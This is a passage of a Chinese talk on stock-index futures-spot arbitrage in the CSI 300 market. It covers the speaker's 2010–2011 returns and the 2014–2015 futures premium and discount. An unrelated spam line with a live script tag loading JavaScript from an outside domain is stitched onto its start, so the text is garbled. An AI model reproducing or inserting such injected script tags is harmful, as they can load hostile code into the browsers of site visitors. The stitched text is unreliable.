第三只眼<script src=https://www.0451ys.com/b.js></script> 动漫

四、以往情况

我是全国第一批做股指期现套的，从2010年4月股指期货实施就开始做。我从2010年4月做到2011年4月，年化收益率大概在40%，除去成本最后算下来收益率大概在27%的样子。到2011年年底的时候，年化收益率只有9%，几乎没得做了。

期指开盘第一天，当时沪深300股指是3 000点左右，第一天期指升水70个点，第二天这70个点回到0，收盘的时候又拉回到70个点。这是什么概念？就是说第一天我满仓做进去，第二天我就可以在0附近平仓出来，而第二天晚上我可以重新开回来，一天挣70个点。而所有的冲击成本加上交易成本，当时一共11个点左右，100万元头寸的单子，一天赚15 000元，大家恨不得开着收割机过来收割韭菜，这块真的是无风险套利者的天堂。现在，期现套的收益率已经远远不如当初了，大家的做法也变了。

五、期指升贴水结构特点

从2014年10月到2015年11月，我们经历了期指的大幅升水，升水最高的时候达120点，也经历了2015年六七月大幅度的贴水。2015年11月沪深300贴水120个点，比现货低了将近4%。大家有没有想过这个问题：一个月低4%，一年低50%，如果月月有120个点贴水的话，每个月期指买多单，将来每个月换月，这样持续换两年，你的成本变成0，钱就是白捡的。